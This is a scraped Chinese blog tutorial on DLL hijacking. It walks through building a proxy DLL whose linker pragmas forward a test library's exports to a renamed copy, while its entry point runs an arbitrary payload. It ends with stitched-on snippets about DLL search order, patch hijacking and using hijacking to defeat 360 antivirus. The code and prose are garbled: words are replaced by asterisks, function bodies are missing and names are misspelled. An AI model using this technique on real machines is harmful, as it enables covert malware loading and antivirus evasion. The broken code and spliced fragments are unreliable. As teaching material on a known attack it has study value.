通過篡改、替換和**原dll檔案來達到劫持。
假定我們要劫持的目標是 c:\temp\legit.dll
獲取 c:\temp\legit.dll 所有的匯出功能列表
建立惡意dll惡意。dll一旦被目標程序載入,就會執行有效負載
在惡意檔案.dll中,將legit.dll(這是我們要劫持的dll)重定向/**所有匯出的功能到legit1.dll(這是我們要劫持的dll,只是用乙個新名稱)
複製惡意檔案到c:\temp\legit.dll(同級目錄下)
此時,任何在legit.dll中呼叫任何匯出函式的程式都將執行您的惡意負載,然後將執行轉移到c:\temp\legit1.dll中相同的匯出函式。
為了讓實驗一目了然,這裡使用的c:\temp\legit.dll為我們自己建立
#include "pch.h"
bool apientry dllmain( hmodule hmodule,
dword ul_reason_for_call,
lpvoid lpreserved
)return true;
}extern "c" __declspec(dllexport) void exportedfunction1(int a)
extern "c" __declspec(dllexport) void exportedfunction2(int a)
extern "c" __declspec(dllexport) void exportedfunction3(int a)
這裡我使用vs2019建立dll動態鏈結庫,然後把上訴**複製到源**中,假定編譯沒問題,可以在/release資料夾下看見legit.dll
這裡我們從**中可以看出有三個匯出功能函式
為了確保這是乙個有效的dll,我們可以呼叫exportedfunction1進行驗證
好了,現在讓我們建立惡意dlmalicious.dlll來**上面的匯出函式。
#include "pch.h"
#pragma comment(linker, "/export:exportedfunction1=legit1.exportedfunction1")
#pragma comment(linker, "/export:exportedfunction2=legit1.exportedfunction2")
#pragma comment(linker, "/export:exportedfunction3=legit1.exportedfunction3")
bool apientry dllmain( hmodule hmodule,
dword ul_reason_for_call,
lpvoid lpreserved
)case dll_thread_attach:
case dll_thread_detach:
case dll_process_detach:
break;
}return true;
}
dll中的關鍵部分是頂部的#pragma注釋,它告訴鏈結器將exportedfunction1、exportedfunction2、exportedfunction3匯出到模組legit1.dll。
另外為了直觀的顯示我們已經載入了惡意dll,這裡會進行提示「hi from malicious dll」,此處也能插入任意payload。
我們測試一下該dll是否正常。
上面的操作一切完成後,現在我們把兩個dll放到同一目錄下重新命名,然後我們呼叫合法legit.dll.exportedfunction1,看是否會顯示malicious.dll中的提示語。
DLL劫持原理
系統有一套標準的搜尋dll路徑的規則,這套規則又分為兩種搜尋模式,安全搜尋模式,非安全搜尋模式。預設情況下啟用安全dll搜尋模式。要禁用此功能,需建立hkey local machine system currentcontrolset control session manager safedll...
DLL補丁劫持製作
dll 由於輸入表中只包含 dll 名而沒有它的路徑名,因此引導程式必須在磁碟上搜尋 dll 檔案。首先會嘗試從當前程式所在的目錄載入 dll,如果沒找到,則在windows 系統目錄中查詢,最後是在環境變數中列出的各個目錄下查詢。利用這個特點,先偽造乙個系統同名的 dll,提供同樣的輸出表,每個輸...
dll劫持破壞360
說起dll劫持技術,相信大家都不會陌生,因為這種技術的應用比較廣泛,比如 木馬後門的啟動 破解程式的記憶體補丁 外掛程式外掛程式的注入以及加密狗的模擬 等。之所以dll劫持技術深受黑客們的喜愛,主要是因為該技術可以有效的躲過大部分殺軟,並且實現起來技術難度不大。dll劫持技術也不是什麼新技術,記得在...